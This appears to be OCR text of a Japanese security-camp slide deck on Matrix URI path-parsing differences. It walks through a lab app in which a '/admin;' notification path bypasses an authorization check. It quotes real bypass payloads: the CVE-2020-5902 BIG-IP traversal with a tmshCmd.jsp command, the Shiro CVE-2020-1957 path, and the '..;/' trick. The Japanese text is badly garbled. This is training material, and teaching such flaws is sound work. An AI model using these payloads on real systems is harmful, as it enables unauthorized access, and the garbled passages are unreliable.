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URI Path

https://example.com/blog/news

Thh
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Matrix URI



Matrix URI

e Matrix URl: EEOAV XYY TINTGA—F3%RKRIH

o  Tim Berners-Lee 122 https://www.w3.org/Designlssues/MatrixURIs.htm]

o KXKREBURI

o  https://example.com/blog/news?year=2022&month=8
e Matrix URI

o  https://example.com/blog/news;year=2022;month=8
® Matrix URI (pathdi& sz 4128HiréH )

o  https://example.com/blog;year=2022;month=8/news


https://www.w3.org/DesignIssues/MatrixURIs.html

Matrix URI

Matrix URIZfR IR TZ HEZE 5

o Javar—JLYk-TJL—LT—5

o  Tomcat, Jetty, Spring Framework, Jersey, Undertow
e notlavaZlL—LT—%

O Scalatra, Angular JS
o 5473

o Router5, Apache Shiro



Matrix URI
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https://example.com/blog;year=2022;month=8/news

SBYIH)I—R

Apache /blog;year=2022;month=8/news (tZnE£#>)
Nginx /blog;year=2022;month=8/news (tZnE£%>)
Tomcat /blog/news
Spring Framework /blog/news

Weblogic

/blog/ (1L BEERYKR)
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W Manage Filters X =

1) & berinternal.com/status/..;/secure/ManageFilter C @ DPg=

Dashboards

Manage Filters

Popular Popular Filters
Search Filters are issue searches that have been saved for re-use. This page shows you 1
Name Owner Shared With

e Shared with
all users

HH L
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf



kA% Ben Sadeghipour
S ©@NahamSec

CVE-2020-5902 POC:

[tmui/login.jsp/..;[tmui/locallb/workspace/tmshCmd.jsp?
command=list+auth+user+admin

Also you may want to watch @orange 8361's "Breaking
Parser Logic Take Your Path Normalization Off and Pop
ODays Out" from @defcon.:)

VA — N8R

4gi12:52 - 202057861 - Twitter Web App

Hi B https://twitter.com/NahamSec/status/1279835507803869184

CVE-2020-5902
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AoIFVNER ‘ RABREEDRT S ‘ JPCERT/CClcik#E T % ‘ NEERERS ‘ BHREZITIS ’ aAsL&7045 ‘ JPCERT/CCIcDWT ’
[ HOME > RRBHREERT % > EH O BIG-IP HFEDHEHMYE (CVE-2020-5902) (CBIT Zx M El ERIBLA 7o~ B2 enml
RABRERET 3
SERE ML B D BIG-IP #EDAESEM (CVE-2020-5902) ICEET 5
SN
Ay —%y hERER =Y

=A&EHT: 2020-07-14

JVN

Hi B https://www.jpcert.or.jp/at/2020/at200028.html

CVE-2020-5902




Apache Shiro(ERSEERRI 54T 51))DEERTE

<property name="filterChainDefinitions">
<value>
/s/signup = anon

/s/manageUsers = perms[user:manage]

/s/** = authc
</value>
</property>

http://localhost:8090/s/signup;/../home — @

CVE-2020-1957
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VSCode Remote Containers

e DockerA TN THREIIREZEZ oNS{THEHA
o AVTFHDI7AILIFIVSCode TIRETES

o HTEIFAINIZH--TEENMEONDZD T, ERLHAREEICHA1ET
o NEFLOTFZIVDTINVIEITVET

e [iEF2]GitHub CodespacesZFIFT HIGEIXLUTOEESE

o  https://www.youtube.com/watch?v=mPWQz CkOgQ



https://www.youtube.com/watch?v=mPWQz_CkOqQ

D] os

JEiRHEEE: Remote - Containers — microservices-samplel

Y O = - {} launch.json = #R#EE Remote - Containers X (1]

hIRKSRE: ¥ —T vy N TL—R

remote-containers

Remote - Containers ©18ms Remote _ Conta

@ Open any folder or repository insid...
Microsoft (g €3

AJ's angular-php-r-plus-... < 256 Mi ¢ > 13662
@ AJ's Angular/PHP/R-Extension Pac... icrosoft : L i’
&b Open any folder or reposit...

ajweb P

E\NICTE v FPYLVAM—)
Z DILwRE&REIE 7 O—/NNLicE
b TWET,

FIyF AV =)L - + v ~ X
>] zsh

~/ghq/github.com/tyage/microservices—sample
1, v) | zsh frontend
g

G| A =D

X Pmain O ®0AO0 --NORMAL --




microservices-samplel
Se/ A/ Ol=2—

v EWTWAITF 59—
v MICROSERVICES-SAMPLE1
> .devcontainer
> .github
> .vscode
> auth-server
> frontend-server
> notification-server

.gitattributes

.gitignore

docker-combose.vml
> PIONZM1Y

> SLLFAY
> NPM X7 U7k
> JAVA PROJECTS
> MAVEN
Pmain <& ®O0AO0 --NORMAL --




microservices-sample1

IHIZA7C I

v FWT Y2 Reopen in Container Remote-Containers

v MICROSE Up... ™ ''"7° Zloiualner...
> .devcc Clone Repository in Container Volume...
> .githul Attach to Running Container...
> .vscoc Add Development Container Configuration Files...
> auth-¢< Try a Development Container Sample...
> frontend-server
> notification-server
.gitattributes
.gitignore

docker-compbose.vml
> PIOINZA1Y

> 4L
> NPM R U7k
> JAVA PROJECTS
> MAVEN
X Pman & ®O0AO0 --NORMAL--




tyage@tyagenoMacBook-Pro:~

I~ > docker ps --format "table {{.ID}}\t{{.Image}}\t{{.Ports}}"
CONTAINER ID
479ba4626416
b8c50db2af9d
898e141addad

i~ > |

IMAGE
microservices-samplel_notification
microservices-samplel_frontend
microservices-samplel_auth

PORTS

0.0.0.0:30081->8080/tcp,
0.0.0.0:30080->3000/tcp,
0.0.0.0:30082->3000/tcp,

:::30081->8080/tcp
:::30080->3000/tcp
:::30082->3000/tcp
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Extension Pack for Java ve.zs.0 [&=

TR -
& Microsoft ®» 14,081,362 % % % % % (51)

Popular extensions for Java development that provides Ja...

\UCITSd v FUAVAR=IL v TLIV=R NRN=I 3 A\DYL

i sREEEE (X 'Dev Container: app' TEMTY




docker-compose.ymi

version: '3’

services:
frontend:
build: ./frontend
ports:
- 300860:3000
notification:
build: ./notification
ports:
- 30081:86080
auth:
build: ./auth
ports:

- 30082 :3000



docker-compose.ymi

frontend:
build: ./frontend
ports:
- 300860:3000



frontend (http://localhost:30080)

| MO @ SECCAMP APP 01 x  + v
& > C @ http://localhost:30080/login h % ¢ ®» 00 :
SECCAMP APP 01 mE RS
a4 >

1—-H%
KA T—R




docker-compose.ymi

auth:
build: ./auth
ports:
- 30082:36000



auth (http://localhost:30082)

<« C  © http://localhost:30082 W h %« ¢ ® 200 :



docker-compose.ymi

notification:
build: ./notification
ports:

- 30081:80860



notification (http://localhost:30081)

® © @ localhost x 4+

& C @ http://localhost:30081

5]

ZOR—IEFEBELTVWEEA
localhost N5 F— MEESNEFATU .

ERR_EMPTY_RESPONSE

h % & ®»00 :



workspace [Dev Container: app @ lima_aarch]

RiTET/INY Y] [> Launch App v o

v B =

v 2xYFR

B)Joash +~ @M W ~ X

$ curl auth

v A=l R9vY

> Dev Container: app @ lima_aarch £ main <3041t ®O0A0 @WO -- NORMAL --




workspace [Dev Container: app @ lima_aarch]

BE  Hh —=F) FNyFavvy-J)L Rk + v A X
[>] bash

b102a5ad Repository registry initialization [Done] [>] Java Build ...
cadae2cb Configuring java project demo: 69% 0% https://repo.maven.ap
ache.org/maven2/org/apache/apache/15/apache-15.pom [687/1000]

ff36405c Refreshing Maven model: [0/-1]

» Dev Container: app @ lima_aarch ¥ main <3041 ®O0AO0 ®1 WO & Launch App (workspace)




workspace [Dev Container: app @ lima_aarch]

%8 F=37 ++v A X

: bash
ff36405c Refreshing
b1@2a5ad Repository Java Build ...
cadae2cb Configurir iven.ap
ache.org/maven2/org

> Dev Container: app @ lima_aarch £ main <3041 ®O0A0 %®1 W0 & Launch App (workspace)




HLIOLVODHT=6FF AT L T F==LY

@ Run/Debug feature requires Java language server torunin ¢ X
Standard mode. Do you want to switch it to Standard mode

now?

Source: Debugger for Java (Extension) Yes Cancel
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[Java@

S

[node.jsﬁé’

L

JAOVkIUR
(http://localhost:30080)

BHY—EX
(http://localhost:30081)

i

IR —E X
(http://localhost:30082)
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ZAVAIVFR
(http://localhost:30080)
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BRIY—EX
(http://localhost:30081)

i

IR —E X
(http://localhost:30082)
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JAOVkIUR
(http://localhost:30080)
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JAOVkIUR
(http://localhost:30080)

BRIY—EX
(http://localhost:30081)

i

BRI Y —EX
(http://localhost:30082)




BEIY—EX

t
yage (http://localhost:30081)

1. b= %17 ]

A &

I:ll-rl:l IJI.: T-U- tx
(http://localhost:30082)

BRI —ER



Request resource

Check validity G

of request

X ®
and generate Appication Return token &=
key token

A 0 -

U Access
resource
using
token

Target
resource

—E Tl Valet Key Pattern EEhh b

Hi B8 https://docs.microsoft.com/en-us/azure/architecture/patterns/valet-key



BRIHY—E XD /tyage]
(27Ot ALT=L

POST /notificationToken

username: tyage
password: XXXXxx

notificationPath: /tyage

tyage

ﬂ'l-r\; HIL\T-U- t X
(http://localhost:30082)

BRI —ER



auth/app.ts

app.post('/notificationToken', (req, res) => {
const { username, password, notificationPath } = req.body

const user = login(username, password)

// A—%H TnotificationPathl IC7 VR T EHERZE L TLNIE F—5 > ZiRA
if (user && notificationPathAllowedForUser(user, notificationPath)) {

const notificationToken = issueNotificationToken(notificationPath)
res.send({

success: true,
token: notificationToken

})
} else {
res.send({ success: false })

}
})



auth/app.ts

app.post('/notificationToken', (req, res) => {
const { username, password, notificationPath } = req.body

const user = login(username, password)

/] 1—HH TnotificationPathl [C7 VR IHHERZEL TLNIE F—0 2 ZRA
if (user && notificationPathAllowedForUser(user, notificationPath)) {

const notificationToken = issueNotificationToken(notificationPath)
res.send({

success: true,
token: notificationToken

})
} else {
res.send({ success: false })

}
1)



auth/app.ts

const notificationPathAllowedForUser = (user: User, notificationPath: string) => {
// roledtadminifz&(d. £ TOURLZEFA
if (user.role === "admin') {
return true

}

// adminUSNDI—HIE /:username DHEFT]
const matchedPath = match<NotificationPathMatcher>(NOTIFICATION_USER_PATH) (notificationPath)
if (!matchedPath) {

return false

}

/] A—HERDURLIZLAT I A TERL
return user.username === matchedPath.params.username



POST /notificationToken

q notificationPath: /admin »
: qnotificationPath:/tyage »
admin

notificationPath: /admin

qnotlflcatlonPath /tyage » . ﬂ

n".'\n nlh\j‘ﬂ_ t Z
(http://localhost:30082)

tyage

BB Y—EX - IV RITROERF VY



auth/app.ts

app.post('/notificationToken', (req, res) => {
const { username, password, notificationPath } = req.body

const user = login(username, password)

// A—H%H TnotificationPathl IC7 VR T EHERZE L TLNIE F—5 2 ZiRA
if (user && notificationPathAllowedForUser(user, notificationPath)) {

const notificationToken = issueNotificationToken(notificationPath)
res.send({

success: true,
token: notificationToken

})
} else {
res.send({ success: false })

}
1)



auth/app.ts

const issueNotificationToken = (url: string) => {
return jwt.sign(
{
aud: [url]
by
NOTIFICATION_JWT_SECRET,
{ algorithm: 'HS256' }
¥
}



auth/app.ts

aud: [url]

aud IZT7 VAL TEULVURLEIEH S



auth/app.ts

NOTIFICATION_JWT_SECRET

MEDORXFIZEFE->TIWIIZERZT D




ﬁ "aud": [ "/tyage" ],
"iat": 1653983420

eyJhbGciOiJIUzI1NilsInR5cCl6lkpXVCI9.e }

yJhdWQiOlsiaHROcDovL2xvY2FsaG9zdD

0zMDA4MS90eWFnZSJdLCIpYXQiOjE2N

TM50DMOM]B9.VnaHM7Q0GiOc2xyRA
Q7PAGjgMJ3kd5DT41BAWUTF1jk

tyage

IR —E X
(http://localhost:30082)

BRI —ER



eyJhbGciOiJIUzI1NilsInR5cCl6lkpXVCI9.e
yJhdWQiOlsiaHROcDovL2xvY2FsaG9zdD
0zMDA4MS90eWFnZSJdLCIpYXQiOjE2N
TM50DMOMjB9.VnaHM7Q0GiOc2xyRA
Q7PAGjqMJ3kd5DT41B4WuT1jk

WEHY—E X

tyage (http://localhost:30081)
ZAITBIE!
BrRSEH 1.

BHIY—EX



notification/src/main/java/.../HomeController.java

public class HomeController {
@RequestMapping("/{username}")
public String user(@PathVariable String username) {
return "FrLWAvtE—2: VXTFLT" + username + "TAZAITEIE, | "
}

Y

@RequestMapping("/admin")
public String admin() {
return adminNotification();

}



notification/src/main/java/.../HomeController.java

@RequestMapping("/admin")
public String admin() {
return adminNotification();

} Jadmin [Z7 2R TENIE

MEDFEHRAFOND




notification/src/main/java/.../AuthFilter.java

public class AuthFilter extends OncePerRequestFilter {

@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response, FilterChain chain)
throws ServletException, IOException {
if (request.getMethod().equals("OPTIONS") || isJwtValid(request)) {
chain.doFilter(request, response);
} else {
response.sendError(HttpServletResponse.SC_UNAUTHORIZED) ;

}



notification/src/main/java/.../AuthFilter.java

isJwtValid(request)

BEIHY—E RZFESITITIWTHARE




notification/src/main/java/.../AuthFilter.java

private Boolean isJwtValid(HttpServletRequest request) {
final String jwtToken = retrieveToken(request) ;
if (jwtToken == null) {
return false;

DecodedJWT jwt;

try {
Algorithm algorithm = Algorithm.HMAC256 (JWT_SECRET_KEY);
JWTVerifier verifier = JWT.require(algorithm).build();
jwt = verifier.verify(jwtToken);

} catch (JWTVerificationException exception) {
return false;



notification/src/main/java/.../AuthFilter.java

JWT_SECRET_KEY

} catch (JWTVerificationException exception) {
return false;

}

MEZ DX FIITEoT- IWTTLLVENG




eyJhbGciOiJIUzI1NilsInR5cCI61kpXVCJ9.
AAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA VNaHM7QO0GiOc
2xyRAQ7PAGjqMJ3kd5DT41B4AWUTF1jk

BRIY—EX
tyage (http://localhost:30081)

BHIY—ER - aESh-RIING



notification/src/main/java/.../AuthFilter.java

private Boolean isJwtValid(HttpServletRequest request) {

// check request path is equal to path in jwt audience
List<String> audience = jwt.getAudience();
if (audience == null)
return false;

}
Boolean matchAudience = audience.stream()

.anyMatch(s -> s.equals(request.getRequestURI()));
return matchAudience;

~—



notification/src/main/java/.../AuthFilter.java

s -> s.equals(request.getRequestURI())

JWTD aud [ZEEEESNTF=/NADHT I AT




eyJhbGciOilIUzI1NilsInR5cCI6IkpXVCI9.e {
yJhdWQiOlsiaHROcDovL2xvY2FsaG9zdD

0zMDA4MS90eWFNnZSIdLCIpYXQiOjE2N ﬁ "aud": [ "/tyage" ]
TM50DMOM|B9.VnaHM7Q0GiOc2xyRA

Q7PAGjqMJ3kd5DT41BAWUTF1jk }

&

ﬁx ﬁ

BRIY—EX
tyage (http://localhost:30081)

BHIY—ER - FAISN THELV/RR[ENG
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workspace [Dev Container: app @ lima_aarch]

R TNy aAvY—=L .- 7 1I)L5 — (fl: text, lexclude)

>
> Dev Container: app @ lima_aarch = main <3041t ®O0A0 $®£1 @3 & Launch App (workspace)




notification (http://localhost:30081)

®C ® @ localhost:30081 x + v

<« C  © http//localhost:30081 h % ¢ ®»00 :

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Fri Jun 24 07:46:33 UTC 2022
There was an unexpected error (type=Unauthorized, status=401).



00O @ SECCAMP APP 01 x + v

& > C ® http://localhost:30080/signup oo B 2w & M » O o : |

SECCAMP APP 01

I—HEF
~ 1—H%
test
~ )X —R

o
gﬂ




® O ® @ seccAMPAPPO1 x =+ v

& > C @ http//localhost:30080/login o M % &£ M » 0O 0 : |

SECCAMP APP 01

Ov+a4 Yy
1Y%

test

[/\“ZU—F

I—H&E




® O ® @ seccAMPAPPO1 x  + v

> C @ http://localhost:30080

SECCAMP APP 01

BHS5E B

testEACAICEIR! BHISEHIIFICHYEE A,




| NON | @ SECCAMP APP 01 x + v

& > C @ http:/flocalhost:30080 o % MO0 : |

SECCAMP APP 01

£5Z*%

BHMS5E =3
= O] Elements Console  Sources  Network  » o5 B1 & : X
® © V¥ Q ([OpPreservelog (] Disable cache Nothrotting v <% | 4 ¥ o
Name Url Status Waterfall A
[] notificationTo... ' http://localhost:30082/notificationToken 200 [ |
[ notificationTo... | http://localhost:30082/notificationToken 200 [ |
[] test http://localhost:30081/test 200 ] |
3requests = 817 B transferred = 222 B resources




g

HE admin | DBRZEZATHEID

o BEENY—/\D admin() AYYK IZYHIRAMEET NIZEHFS

BIL= X)) —>2 i3y k& Discord ZBE> TS0



[2YA, N .

o 11— 4T /adminl®°l./admin | (LEREEERAIY—E R THEMND
e [/./admin]="T/admin]

const notificationPathAllowedForUser = (user: User, notificationPath: string) => {

// adminUSNDI—HIE /:username DHEFA]
const matchedPath = match<NotificationPathMatcher>(NOTIFICATION_USER_PATH) (notificationPath)
if (!matchedPath) {

return false

}

/] A—HERADURLIZLMNT7 VLR TEHL
return user.username === matchedPath.params.username




Rt

{2

€<



admin;



A—H £ ladmin; ] TY,
[/admin; | D k—2 2T &N

POST /notificationToken A—HZladmin; JFZH 5
http://localhost:30081/admin;
ZEFRILTLMNKH ?

tyage notificationPath: /admin;

Ell.,\; HIL\T-U- t x
(http://localhost:30082)



[/admin; JINDT7 X
%D TOK

ﬁ m
tyage BHY—EX
(http://localhost:30081)

i




[/admin; 1> T2 &l&
[admin ISATY 12

BRIY—EX
tyage (http://localhost:30081)

i

-------I..> iiiii
<q.l-------

[%ﬂ%ﬁﬁ@ﬁﬂ%ﬁ}




EASY?



fadmin; Y /admin 2725 &A%
EHLCRTHELD




HomeController.java — workspace [Dev Container: app] )08

HomeController.java X >~ @
notification > src > main > java > seccamp > notification > HomeController.java > ...
package seccamp.notification;

> import java.util.Random;

@CrossOrigin
@RestController
public class HomeController {

@RequestMapping("/{username}")
' hable String username) {
HomeController CBreakpointZ T D A " + username + "SAZAICBIL,

COITNRITEIN=ESIC—HFLE

@RequestMapping("/admin")
public String admin() {
return adminNotification();

DEBUG CONSOLE  --- Filter (e.g. text, 'exclude)

HCULWCoOC v C . 1 OIMNCU L > LL LU O PUIN L LS ). OYvoOovY \IiILLp ) W



A SECCAMP APP 01

(& D localhost Q s » 0O @ y—yLyhk

SECCAMP APP 01 Bz

B S

EHEEM(FTOEHMSHE: Flag{BlahBlahBlah}



HomeController.java — workspace [Dev Container: app @ lima_aarch] l] D D] 08
£f7&£7/\v% > Launch App A3 R HomeController.java X >y M

> EW > 2 ¥ O O 4 notification-server > src > main > java > com > example > demo > HomeCorn

> 9AvFR com.example.demo;

v A=lLRFvYo

vy P
> Thread [http-nio-80...  BREAKPOINT T—KHZ1E
v Thread [http-nio-80...  BREAKPOINT T—R{®1E

ﬁ'\1 HomeController.admin() HomeControlle...
NativeMethodAccessorImpl.invoke@(Method,Ob:
NativeMethodAccessorImpl.invoke(Object,0Obj¢
DelegatingMethodAccessorImpl.invoke(Object
Method. invoke(Object,Object[]) Me
InvocableHandlerMethod.doInvoke(Object[])
InvocableHandlerMethod.invokeForRequest(Nai
ServletInvocableHandlerMethod.invokeAndHanc
RequestMappingHandlerAdapter.invokeHandler)
RequestMappingHandlerAdapter.handleInternal
AbstractHandlerMethodAdapter.handle(HttpSet
DispatcherServlet.doDispatch(HttpServletRec

DispatcherServlet.doService(HttpServletReqt
1g("/admin")
g admin() {
return "EERER(JTOESMS5E: Flag{BlahBlahBlah}";

FrameworkServlet.processRequest(HttpServlei
FrameworkServlet.doGet(HttpServletRequest,}
HttpServlet.service(HttpServletRequest,Htty
FrameworkServlet.service(HttpServletRequesi

HttoServlet.service(ServletReauest.Servlett
v IL—=I9R1v b

B Uncaught Exceptions 7 1)L%5— (Bl: text. !exclude)
B Caught Exceptions
¥ HomeController.java notification-serv... 18 >
» Dev Container: app @ lima_aarch ¥ main <041t ®0A0 W3 & Launch App (workspace) -- NORMAL --




DispatcherServlet.class — workspace [Dev Container: app @ lima_aarch]

£f7&£7/\v% > Launch App A3 R Hom itroller.java DispatcherServlet.class X

S T > o ? T O O 4 lastModified = ha.getLastModltle(.j
request, mappedHandler.getHandler());
> IAYFR if (new ServletWebRequest(request,
= % & A ‘ - =) response) .checkNotModified(lastModified)
- && isGet

InvocableHandlerMethod. invokeForRequest(Nai r ma p ped H an d |e rJ 75‘ % *Lo (g: l' )
ServletInvocableHandlerMethod.invokeAndHanc IJ OIX Isl \0175\ 6 %?ﬁ-a—é }‘J\\J F%*%j’m;@ 75§

RequestMappingHandlerAdapter.invokeHandler) -
RequestMappingHandlerAdapter.handleInternal % (') % j see ?

AbstractHandlerMethodAdapter.handle(HttpSet

Method. invoke(Object,Object[]) Metl
InvocableHandlerMethod.doInvoke(Object[])

DispatcherServlet.doDispatch(HttpServletRe(

DispatcherServlet.doService(HttpServletReqt

mv = ha.handle(processedRequest, response,
mappedHandler.getHandler()); mv = null,
ha = RequestMappingHandlerAdapter@68,
HttpServlet.service(HttpServletRequest,Htty processedRequest = RequestFacade@65,
FrameworkServlet.service(HttpServletRequest response = ResponseFacade@66,
mappedHandler = HandlerExecutionCh...

FrameworkServlet.processRequest(HttpServlei

FrameworkServlet.doGet(HttpServletRequest,}

HttpServlet.service(ServletRequest,Servlett

ApplicationFilterChain.internalDoFilter(Set .
if (asyncManager.

ApplicationFilterChain.doFilter(ServletReqt isConcurrentHandlingStarted()) {
return;
Thread [http-nio-8080-ClientPoller] ETH
Thread [http-nio-8080-Acceptor] {74
Thread [DestroyJavaVM] sf5h applyDefaultViewName(processedRequest, mv);
X mappedHandler.applyPostHandle
v TL—=I9R1v b
@ Uncaught Exceptions 71 ILF — (Bl text. !exclude)
B Caught Exceptions
¥ HomeController.java notification-serv... 18 >

» Dev Container: app @ lima_aarch ¥ main <041t ®0A0 W3 & Launch App (workspace) -- NORMAL --




DispatcherServlet.class — workspace [Dev Container: app @ lima_aarch]

£7&57/\v% > Launch App v

i [ A o Bl
> IAYFR

v A=lLR¥vY9

Method. invoke(Object,Object[]) Metl
InvocableHandlerMethod.doInvoke(Object[])
InvocableHandlerMethod.invokeForRequest(Nai
ServletInvocableHandlerMethod.invokeAndH~-
RequestMappingHandlerAdapter.invokeHc ilerd
RequestMappingHandlerAdapter.handlel :ernal
AbstractHandlerMethodAdapter.handle(H. “Set
DispatcherServlet.doDispatch(HttpServletRec
DispatcherServlet.doService(HttpServletReqt
FrameworkServlet.processRequest(HttpServlei
FrameworkServlet.doGet(HttpServletRequest,}
HttpServlet.service(HttpServletRequest,Htty
FrameworkServlet.service(HttpServletReguesi
HttpServlet.service(ServletRe

ApplicationFilterChain.intern

HomeController.java DispatcherServlet.class X

processedRequest = RequestFacade@65,
request = RequestFacade@65
multipartRequestParsed = (processedRequest
!= request);

multipartRequestParsed = false,
processedRequest = RequestFacade@65,
request = RequestFacade@65

mappedHandler = getHandler
(processedRequest) ;

]mappedHandler = HandlerExecutionChain@121,
processedRequest = RequestFacade@65

if (mappedHandler == ) {

noHandlerFound (processedRequest,

response) ;

return;

ApplicationFilterChain.doFilt I) OIZ |~7§\15 r mappedHandIerJ EE—I_Ej—é
Thread [http-nio-8080-ClientPol[ES (XL &S A brea kpointZ$T D

Thread [http-nio-8080-Acceptor
v IL—=IR12 b
@ Uncaught Exceptions
B Caught Exceptions
¥ DispatcherServlet.class /spring-we... 1016

7 1)L%5— (Bl: text. !exclude)

# HomeController.java notification-serv... 18 >
» Dev Container: app @ lima_aarch ¥ main <041t ®0A0 W3 & Launch App (workspace) -- VISUAL --  Java




DispatcherServlet.class — workspace [Dev Container: app @ lima_aarch]

£T7E&FN\yS & ~unch App v
> ¥ > ¢ Vv

> UAYvFR

v aA=ILRYYY

Method. invoke(Object,Object[])

InvocableHand

InvocableHanc _Emiigj—j—&)é

ServletInvocc

RequestMappir
RequestMappingHandlerAdapter.handleInternal
AbstractHandlerMethodAdapter.handle(HttpSet
DispatcherServlet.doDispatch(HttpServletRe:
DispatcherServlet.doService(HttpServletReqt
FrameworkServlet.processRequest(HttpServlei
FrameworkServlet.doGet(HttpServletRequest,}
HttpServlet.service(HttpServletRequest,Htty
FrameworkServlet.service(HttpServletRequesi
HttpServlet.service(ServletRequest,Servlet
ApplicationFilterChain.internalDoFilter(Se
ApplicationFilterChain.doFilter(ServletReqt

Thread [http-nio-8080-ClientPoller] ETH

Thread [http-nio-8080-Acceptor] ETH
v IL—=IR12 b

@ Uncaught Exceptions

B Caught Exceptions

¥ DispatcherServlet.class /spring-we... 1016

¥ HomeController.java notification-serv... 18

>

> Dev Container: app @ lima_aarch = $# main <0411 ®O0AO0

HomeController.java

DispatcherServlet.class X

processedRequest = RequestFacade@65,

request = RequestFacade@65
multipartRequestParsed = (processedRequest
!= request);

multipartRequestParsed = false,
processedRequest = RequestFacade@65,

request = RequestFacade@65

mappedHandler = getHandler
(processedRequest) ;
]mappedHandler = HandlerExecutionChain@121,
processedRequest = RequestFacade@65
if (mappedHandler == ) {
noHandlerFound (processedRequest,
response) ;
return;

Hand Le ) ha = getHandlerAdapter
(mappedHandler.getHandler());

ha = RequestMappingHandlerAdapter@68,
mappedHandler = HandlerExecutionChain@l21

7 1)L%5— (Bl: text. !exclude)

&> Launch App (workspace) -- VISUAL -- Java




A SECCAMP APP 01

(& D localhost Q s » 0O @ y—yLyhk

SECCAMP APP 01 Bz

B S

EHEEM(FTOEHMSHE: Flag{BlahBlahBlah}



DispatcherServlet.class — workspace [Dev Container: app @ lima_aarch]

£7&7N\v4 D Launcr - voo§e
> ¥ > ¥ ¥
> IAYFR
v A=lLRFvY

ApplicationFilterChain.internalDoFilter(Set

ApplicationFi
RequestConte
OncePerReques
ApplicationFilterChain.internalDoFilter(Set
ApplicationFilterChain.doFilter(ServletReq

Thread [http-nio-8080-exec-4] {74
v Thread [http-nio-80...  BREAKPOINT T—RH#1E 1016
DispatcherServlet.doDispatch(HttpServletRec
DispatcherServlet.doService(HttpServletReqt
FrameworkServlet.processRequest(HttpServlei
FrameworkServlet.doGet(HttpServletRequest,}
HttpServlet.service(HttpServletRequest,Htt}
FrameworkServlet.service(HttpServletRequest
HttpServlet.service(ServletRequest,Servlett
ApplicationFilterChain.internalDoFilter(Set
ApplicationFilterChain.doFilter(ServletRequ
WsFilter.doFilter(ServletRequest,ServletRe:
v IL—=IR12 b

@ Uncaught Exceptions

B Caught Exceptions

¥ DispatcherServlet.class /spring-we... 1016

¥ HomeController.java notification-serv... 18 >

> Dev Container: app @ lima_aarch = $# main <0411 ®O0AO0

atroller.java

getHandler N DAL I Z R <

D& o8

Unsafe.class DispatcherServlet.class X [IJ

dispatchException null
try {
processedRequest checkMultipart(request);
processedRequest = RequestFacade@65,
squest = RequestFacade@65
tipartRequestParsed = (processedRequest
request);
ltipartRequestParsed = false,
processedRequest = RequestFacade@65,
request = RequestFacade@65

mappedHandler = getHandler
(processedRequest); mappedHandler = null,
processedRequest = RequestFacade@65
if (mappedHandler == )l
noHandlerFound (processedRequest,
response) ;
return;

andle ha = getHandlerAdapter
(mappedHandler.getHandler());

7 1)L%5— (Bl: text. !exclude)

@3 & Launch App (workspace) -- VISUAL -- Java




DispatcherServlet.class — workspace [Dev Container: app @ lima_aarch]

£7&7N\v4 D Launcr - voo§e
> ¥ > ¥ ¥
> UAYvFR
=0 % =)

AuthFilter.doFilterInternal(HttpServletReq

OncePerRequesg
ApplicationFi
ApplicationFi
RequestContextFilter.doFilterInternal (Http!
OncePerRequestFilter.doFilter(ServletReques
ApplicationFilterChain.internalDoFilter(Set
ApplicationFilterChain.doFilter(ServletReqt

Thread [http-nio-8080-exec-4] RTH
v Thread [http-nio-8080-exe... STEP T—{F1E
DispatcherServlet.getHandler(HttpServletRec
DispatcherServlet.doDispatch(HttpServletRec
DispatcherServlet.doService(HttpServletReqt
FrameworkServlet.processRequest(HttpServlei
FrameworkServlet.doGet(HttpServletRequest,}
HttpServlet.service(HttpServletRequest,Htt}
FrameworkServlet.service(HttpServletRequesi
HttpServlet.service(ServletRequest,Servlett
v IL—=IR12 b

@ Uncaught Exceptions

B Caught Exceptions

¥ DispatcherServlet.class /spring-we... 1016

# HomeController.java notification-serv... 18

X Dev Container: app @ lima_aarch X-° main

atroller.java

>

S0v1r ®0AO0

Unsafe.class

ronuact

=5[Zmapping.getHandler A D AL AR <

XeC getHandler
pServletReque request)
request = RequestFacade@65
i .handlerMappings !=
handlerMappings = ArraylList@l134 size=5
for (Handl mapping
handlerMappings)
{ mapping = RequestMappingHandlerMapping@143,
handlerMappings = ArraylList@134 size=5
C X handler = mapping.
getHandler(request);
mapping = RequestMappingHandlerMapping@143
, request = RequestFacade@65
if (handler != ) {
return handler;

return H

7 1)L%5— (Bl: text. !exclude)

@3 & Launch App (workspace) -- VISUAL -- Java

D& o8

DispatcherServlet.class X [IJ



UrlPathHelper.class — workspace [Dev Container: app @ lima_aarch] l] D D] 08
£f7&£7/\v% > Launch App v §% .- AbstractHandlerMethodMapping.class UrlPathHelper.class X [IJ

> EW b @ ¥ ¢ O 0O 4
> 9AvFR
v aA=ILRYYY

Hiileau [olyiidl vispdLciiel |

Thread [Common-Cleaner]

Thread [Catalina-utility-1] RfTH

Thread [Catalina-utility-2] RITH request

Thread [container-0] RITH

Thread [http-nio-8080-BlockPoller] EfTH

ng getRequestUri( pServl

Thread [http-nio-8080-exec-1] EEL request) [{| request = RequestFacade@l23

Thread [http-nio-8080-exec-2] KT+ tring uri = (Stri request.getAttribute
v Thread [http-nio-8080-exe... STEP T—H{#1E ebUtils. :

UrlPathHelper.getRequestUri(HttpServletReqt uri = "/admin;", request = RequestFacade@l23
if (uri ==

UrlPathHelper.getPathWithinApplication(Htt
s ER Gl uri = request.getRequestURI();

UrlPathHelper.getLookupPathForRequest(Http!

AbstractHandlerMethodMapping.getHandlerInt¢[> 382 . return decodeAndCleanUriString(request, uri);

RequestMappingInfoHandlerMapping.getHandlet request = RequestFacade@l23, uri = "/admin;"
W
J]

RequestMappingInfoHandlerMapping.getHandlet

AbstractHandlerMapping.getHg

DispatcherServlet.getHandl( deCOdeAndCleanU”Stnng)(\j‘y F\

DispatcherServlet.doDispat(

Ni enatcharSam/l et dnSari o 'I‘ﬁ L,L !
v IL—=IR1v b

B Uncaught Exceptions
@ Caught Exceptions
¥ AbstractHandlerMapping.class /spri.. 396 " 715 — (Bl: text. !lexclude)
¥ DispatcherServlet.class /spring-we... 1016
# HomeController.java notification-serv... 18 >
» Dev Container: app @ lima_aarch ¥ main <041t ®0A0 W3 & Launch App (workspace) -- NORMAL --




UrlPathHelper.class — workspace [Dev Container: app @ lima_aarch] l] D D] 08

D LaunchApp Vv <$aapping.class AbstractHandlerMethodMapping.class UrlPathHelper.class X [IJ

> EH > 2 ¢ O 0O 4
DA Fat
v A=IL RYvY

